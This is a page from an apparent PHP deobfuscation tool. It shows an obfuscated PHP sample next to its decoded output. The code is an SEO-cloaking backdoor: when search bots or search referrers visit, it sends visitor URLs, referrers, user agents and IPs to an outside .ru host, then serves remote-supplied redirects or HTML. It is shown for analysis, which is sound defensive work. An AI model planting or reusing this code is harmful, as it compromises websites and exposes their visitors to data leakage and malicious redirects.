Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"\x47\x4cO\x42AL\x53"}["\x78\x6d\x6e\x77\x78\x6b\x70\x70hd\x74"]="\x6d";${"\x47\x4..
Decoded Output download
<?php ${"GLOBALS"}["xmnwxkpphdt"]="m";${"GLOBALS"}["xejeioueu"]="page";${"GLOBALS"}["esnsng"]="result";${"GLOBALS"}["xtkaxpmfteyw"]="scheme";${"GLOBALS"}["wqgwhmdrxx"]="url";${"GLOBALS"}["qyckgrqkuw"]="ch";@error_reporting(0);if(!function_exists("getUrla")){function getUrla($url){$repcog="result";if(function_exists("curl_init")){${"GLOBALS"}["ljwmbyssl"]="ch";${"GLOBALS"}["oqaaihqish"]="ch";${${"GLOBALS"}["ljwmbyssl"]}=curl_init();curl_setopt(${${"GLOBALS"}["qyckgrqkuw"]},CURLOPT_URL,${${"GLOBALS"}["wqgwhmdrxx"]});$clwjwwiqzo="result";curl_setopt(${${"GLOBALS"}["qyckgrqkuw"]},CURLOPT_USERAGENT,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36");curl_setopt(${${"GLOBALS"}["oqaaihqish"]},CURLOPT_TIMEOUT,10);curl_setopt(${${"GLOBALS"}["qyckgrqkuw"]},CURLOPT_RETURNTRANSFER,true);${$clwjwwiqzo}=curl_exec(${${"GLOBALS"}["qyckgrqkuw"]});curl_close(${${"GLOBALS"}["qyckgrqkuw"]});}else{$kjeypmnutu="url";$ohkvsqdqip="result";${$ohkvsqdqip}=file_get_contents(${$kjeypmnutu});}return${$repcog};}}${${"GLOBALS"}["xtkaxpmfteyw"]}="http://";if(preg_match("#(googlebot|bingbot|yahoo|msnbot|aol)#i",$_SERVER["HTTP_USER_AGENT"])||preg_match("#(google|bing|yahoo|msn|aol)#i",@$_SERVER["HTTP_REFERER"])){${"GLOBALS"}["srjfmmmmrnt"]="result";$yysztnx="result";${"GLOBALS"}["eyndmioudxtc"]="result";${${"GLOBALS"}["esnsng"]}=getUrla("http://routetheflow.ru/dms2.php?u=".urlencode("http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"])."&r=".urlencode(@$_SERVER["HTTP_REFERER"])."&a=".urlencode($_SERVER["HTTP_USER_AGENT"])."&i=".urlencode(getUsrIP()));if(${${"GLOBALS"}["esnsng"]}=="IGNORE"){$sajnjtxhsxyi="m";${"GLOBALS"}["taqlmqohrdx"]="scheme";if((!empty($_SERVER["HTTPS"])&&$_SERVER["HTTPS"]!=="off")||$_SERVER["SERVER_PORT"]==443)${${"GLOBALS"}["xtkaxpmfteyw"]}="https://";${${"GLOBALS"}["xejeioueu"]}=getUrla(${${"GLOBALS"}["taqlmqohrdx"]}.$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]);if(preg_match("#(\.pdf|\.jpg|\.jpeg|\.png|\.gif|\.css|\.js|\.tiff)#i",$_SERVER["REQUEST_URI"],${$sajnjtxhsxyi})){$kckqpvlrh="m";${"GLOBALS"}["gxmcqereo"]="m";$khxcwskevh="m";$lrwmnidhn="m";${"GLOBALS"}["dlybdvtmhz"]="m";switch(${${"GLOBALS"}["xmnwxkpphdt"]}[0]){case(preg_match("/(jpg|jpeg)/",${$kckqpvlrh}[0])?true:false):header("Content-Type: image/jpeg");break;case(preg_match("/pdf/",${$khxcwskevh}[0])?true:false):header("Content-Type: application/pdf");break;case(preg_match("/png/",${${"GLOBALS"}["xmnwxkpphdt"]}[0])?true:false):header("Content-Type: image/png");break;case(preg_match("/gif/",${$lrwmnidhn}[0])?true:false):header("Content-Type: image/gif");break;case(preg_match("/tiff/",${${"GLOBALS"}["dlybdvtmhz"]}[0])?true:false):header("Content-Type: application/font-tiff");break;case(preg_match("/css/",${${"GLOBALS"}["xmnwxkpphdt"]}[0])?true:false):header("Content-Type: text/css");break;case(preg_match("/\.js/",${${"GLOBALS"}["gxmcqereo"]}[0])?true:false):header("Content-Type: application/x-javascript");break;default:header("Content-Type: text/html");}}echo${${"GLOBALS"}["xejeioueu"]};exit;}${${"GLOBALS"}["esnsng"]}=base64_decode(${${"GLOBALS"}["esnsng"]});${${"GLOBALS"}["eyndmioudxtc"]}=unserialize(${${"GLOBALS"}["esnsng"]});if(isset(${$yysztnx}["location"])&&${${"GLOBALS"}["srjfmmmmrnt"]}["location"]!=""){Header("HTTP/1.1 301 Moved Permanently");$hrdlsgufq="result";$vdoiret="result";if(isset(${$vdoiret}["referer"])&&${${"GLOBALS"}["esnsng"]}["referer"]!="")Header("Referer: ".${$hrdlsgufq}["referer"]);Header("Location: ".${${"GLOBALS"}["esnsng"]}["location"]);exit;}if(isset(${${"GLOBALS"}["esnsng"]}["html"])&&${${"GLOBALS"}["esnsng"]}["html"]!=""){$kxnzohe="result";echo${$kxnzohe}["html"];exit;}}if(@file_exists("cleaner.php")){include_once("cleaner.php");}
?>Did this file decode correctly?
Original Code
<?php ${"\x47\x4cO\x42AL\x53"}["\x78\x6d\x6e\x77\x78\x6b\x70\x70hd\x74"]="\x6d";${"\x47\x4c\x4fB\x41L\x53"}["x\x65\x6aei\x6f\x75\x65\x75"]="\x70\x61g\x65";${"G\x4c\x4fB\x41\x4cS"}["\x65\x73\x6e\x73\x6e\x67"]="r\x65s\x75l\x74";${"GLOB\x41\x4cS"}["x\x74\x6ba\x78\x70\x6dft\x65\x79\x77"]="\x73c\x68\x65\x6de";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x77\x71gw\x68\x6dd\x72\x78\x78"]="\x75\x72\x6c";${"GLO\x42A\x4c\x53"}["q\x79ck\x67\x72\x71k\x75w"]="c\x68";@error_reporting(0);if(!function_exists("g\x65\x74Url\x61")){function getUrla($url){$repcog="r\x65\x73u\x6ct";if(function_exists("\x63u\x72l_\x69\x6e\x69\x74")){${"GL\x4fBA\x4c\x53"}["\x6cjwm\x62\x79s\x73\x6c"]="\x63\x68";${"\x47LOB\x41L\x53"}["\x6f\x71a\x61\x69hqi\x73\x68"]="\x63h";${${"\x47\x4c\x4f\x42\x41L\x53"}["l\x6a\x77\x6db\x79\x73\x73l"]}=curl_init();curl_setopt(${${"\x47\x4cO\x42\x41LS"}["qy\x63k\x67\x72\x71\x6b\x75\x77"]},CURLOPT_URL,${${"\x47LO\x42\x41\x4c\x53"}["\x77q\x67w\x68mdrx\x78"]});$clwjwwiqzo="\x72\x65s\x75\x6c\x74";curl_setopt(${${"\x47L\x4fB\x41\x4cS"}["qy\x63\x6b\x67r\x71\x6b\x75\x77"]},CURLOPT_USERAGENT,"\x4dozi\x6c\x6c\x61/5\x2e0\x20(W\x69n\x64o\x77\x73\x20\x4eT 1\x30.0\x3b WOW\x36\x34)\x20\x41pp\x6ceWe\x62Ki\x74/537\x2e36\x20(\x4b\x48\x54\x4d\x4c,\x20lik\x65 \x47ec\x6b\x6f)\x20C\x68\x72o\x6d\x65/60\x2e0.\x331\x312.\x311\x33\x20Sa\x66ar\x69/\x35\x337.36");curl_setopt(${${"\x47\x4cOB\x41\x4c\x53"}["\x6f\x71\x61\x61i\x68\x71i\x73h"]},CURLOPT_TIMEOUT,10);curl_setopt(${${"\x47\x4c\x4f\x42AL\x53"}["\x71yc\x6bg\x72q\x6b\x75w"]},CURLOPT_RETURNTRANSFER,true);${$clwjwwiqzo}=curl_exec(${${"G\x4c\x4f\x42\x41\x4cS"}["\x71\x79\x63\x6b\x67\x72\x71\x6b\x75\x77"]});curl_close(${${"\x47\x4c\x4fB\x41LS"}["qyc\x6bgrqku\x77"]});}else{$kjeypmnutu="ur\x6c";$ohkvsqdqip="\x72\x65\x73ul\x74";${$ohkvsqdqip}=file_get_contents(${$kjeypmnutu});}return${$repcog};}}${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x78\x74\x6ba\x78\x70\x6d\x66t\x65y\x77"]}="\x68\x74\x74p://";if(preg_match("\x23(g\x6f\x6fg\x6c\x65b\x6ft|bi\x6eg\x62ot|y\x61h\x6f\x6f|m\x73\x6e\x62ot|a\x6f\x6c)#\x69",$_SERVER["\x48\x54\x54\x50\x5f\x55SER\x5fA\x47E\x4eT"])||preg_match("#(g\x6f\x6f\x67l\x65|b\x69\x6eg|yah\x6fo|msn|a\x6fl)\x23\x69",@$_SERVER["\x48\x54TP_R\x45\x46ER\x45R"])){${"G\x4cO\x42\x41\x4c\x53"}["\x73\x72\x6a\x66mmm\x6d\x72n\x74"]="res\x75\x6c\x74";$yysztnx="\x72\x65\x73\x75\x6c\x74";${"\x47\x4c\x4fB\x41\x4c\x53"}["e\x79\x6edm\x69\x6f\x75\x64\x78tc"]="\x72e\x73\x75\x6ct";${${"\x47\x4c\x4fBA\x4cS"}["\x65\x73\x6e\x73\x6e\x67"]}=getUrla("h\x74\x74\x70://r\x6f\x75\x74\x65\x74h\x65\x66lo\x77\x2e\x72\x75/\x64ms\x32.php?\x75\x3d".urlencode("\x68ttp://".$_SERVER["\x48\x54TP_\x48O\x53\x54"].$_SERVER["\x52E\x51\x55E\x53\x54\x5f\x55R\x49"])."&\x72\x3d".urlencode(@$_SERVER["HTT\x50_RE\x46E\x52\x45\x52"])."\x26a\x3d".urlencode($_SERVER["\x48\x54TP_U\x53E\x52_AG\x45\x4eT"])."\x26i=".urlencode(getUsrIP()));if(${${"GL\x4f\x42\x41\x4c\x53"}["\x65\x73\x6es\x6eg"]}=="\x49GN\x4fRE"){$sajnjtxhsxyi="\x6d";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x74a\x71l\x6d\x71oh\x72\x64x"]="\x73c\x68\x65\x6de";if((!empty($_SERVER["H\x54\x54PS"])&&$_SERVER["\x48TTPS"]!=="\x6f\x66f")||$_SERVER["\x53\x45\x52V\x45R_\x50\x4f\x52\x54"]==443)${${"\x47\x4cOBALS"}["\x78\x74k\x61x\x70\x6d\x66t\x65yw"]}="h\x74tp\x73://";${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x78e\x6ae\x69\x6fu\x65\x75"]}=getUrla(${${"G\x4cOBA\x4c\x53"}["t\x61\x71\x6c\x6d\x71\x6fh\x72\x64x"]}.$_SERVER["\x48TTP\x5f\x48\x4fS\x54"].$_SERVER["REQ\x55\x45S\x54\x5fUR\x49"]);if(preg_match("#(\x5c.\x70df|\\\x2ej\x70\x67|\x5c.jp\x65g|\\.p\x6e\x67|\x5c.g\x69f|\\.\x63s\x73|\x5c.\x6a\x73|\x5c.\x74iff)\x23i",$_SERVER["R\x45\x51\x55E\x53T_UR\x49"],${$sajnjtxhsxyi})){$kckqpvlrh="\x6d";${"\x47\x4c\x4fBA\x4c\x53"}["gx\x6d\x63qe\x72eo"]="m";$khxcwskevh="\x6d";$lrwmnidhn="m";${"\x47LOB\x41\x4c\x53"}["\x64l\x79b\x64\x76\x74\x6dh\x7a"]="\x6d";switch(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x78\x6d\x6ewx\x6bp\x70\x68\x64\x74"]}[0]){case(preg_match("/(jpg|jpe\x67)/",${$kckqpvlrh}[0])?true:false):header("Co\x6e\x74\x65nt-\x54\x79\x70\x65:\x20\x69\x6d\x61g\x65/\x6apeg");break;case(preg_match("/pd\x66/",${$khxcwskevh}[0])?true:false):header("\x43o\x6etent-T\x79\x70e:\x20\x61pp\x6cic\x61t\x69on/\x70df");break;case(preg_match("/png/",${${"\x47\x4cO\x42\x41LS"}["\x78\x6d\x6e\x77\x78\x6b\x70p\x68d\x74"]}[0])?true:false):header("\x43onte\x6e\x74-\x54\x79p\x65:\x20i\x6d\x61g\x65/\x70n\x67");break;case(preg_match("/\x67if/",${$lrwmnidhn}[0])?true:false):header("\x43\x6f\x6e\x74e\x6e\x74-\x54y\x70e:\x20i\x6d\x61ge/\x67\x69f");break;case(preg_match("/t\x69ff/",${${"\x47\x4cO\x42A\x4c\x53"}["\x64\x6c\x79\x62\x64\x76\x74\x6dh\x7a"]}[0])?true:false):header("C\x6fnt\x65\x6e\x74-Typ\x65: ap\x70l\x69\x63at\x69on/\x66\x6fn\x74-\x74\x69\x66\x66");break;case(preg_match("/\x63\x73\x73/",${${"\x47LO\x42ALS"}["xmn\x77\x78k\x70p\x68\x64\x74"]}[0])?true:false):header("Co\x6e\x74ent-Ty\x70\x65:\x20\x74\x65x\x74/css");break;case(preg_match("/\x5c\x2e\x6as/",${${"\x47L\x4f\x42\x41\x4c\x53"}["g\x78\x6dc\x71\x65r\x65\x6f"]}[0])?true:false):header("C\x6fn\x74\x65\x6e\x74-\x54ype:\x20\x61ppl\x69\x63\x61\x74\x69o\x6e/\x78-java\x73c\x72i\x70\x74");break;default:header("Co\x6e\x74\x65nt-\x54ype: te\x78\x74/h\x74\x6d\x6c");}}echo${${"\x47LO\x42ALS"}["\x78\x65\x6aeiou\x65\x75"]};exit;}${${"\x47\x4c\x4f\x42\x41L\x53"}["\x65\x73nsn\x67"]}=base64_decode(${${"\x47\x4c\x4f\x42ALS"}["\x65\x73n\x73\x6eg"]});${${"\x47L\x4f\x42AL\x53"}["e\x79\x6ed\x6d\x69o\x75d\x78t\x63"]}=unserialize(${${"GL\x4f\x42\x41\x4c\x53"}["\x65\x73n\x73ng"]});if(isset(${$yysztnx}["\x6coc\x61ti\x6fn"])&&${${"\x47\x4c\x4fB\x41\x4cS"}["\x73\x72\x6af\x6dm\x6dm\x72\x6e\x74"]}["\x6cocati\x6fn"]!=""){Header("H\x54TP/\x31.1\x20\x33\x301\x20\x4do\x76e\x64 P\x65rman\x65\x6e\x74\x6cy");$hrdlsgufq="\x72\x65\x73u\x6ct";$vdoiret="\x72\x65\x73\x75\x6c\x74";if(isset(${$vdoiret}["\x72ef\x65r\x65\x72"])&&${${"\x47\x4c\x4fB\x41\x4c\x53"}["e\x73\x6e\x73\x6eg"]}["\x72\x65fer\x65r"]!="")Header("R\x65f\x65\x72\x65\x72:\x20".${$hrdlsgufq}["\x72\x65fer\x65\x72"]);Header("\x4co\x63\x61ti\x6fn: ".${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x65\x73\x6es\x6eg"]}["l\x6f\x63\x61t\x69o\x6e"]);exit;}if(isset(${${"\x47\x4cO\x42AL\x53"}["\x65\x73\x6es\x6e\x67"]}["\x68tml"])&&${${"\x47LO\x42\x41\x4c\x53"}["\x65s\x6es\x6e\x67"]}["h\x74ml"]!=""){$kxnzohe="\x72\x65\x73\x75l\x74";echo${$kxnzohe}["\x68\x74\x6d\x6c"];exit;}}if(@file_exists("\x63\x6c\x65\x61\x6eer.\x70\x68\x70")){include_once("\x63\x6c\x65\x61\x6ee\x72.\x70\x68\x70");}
?>Function Calls
| urlencode | 1 |
| preg_match | 2 |
| error_reporting | 1 |
| function_exists | 1 |
Stats
| MD5 | 5b957e8011fd95b1000bc766b37757e2 |
| Eval Count | 0 |
| Decode Time | 185 ms |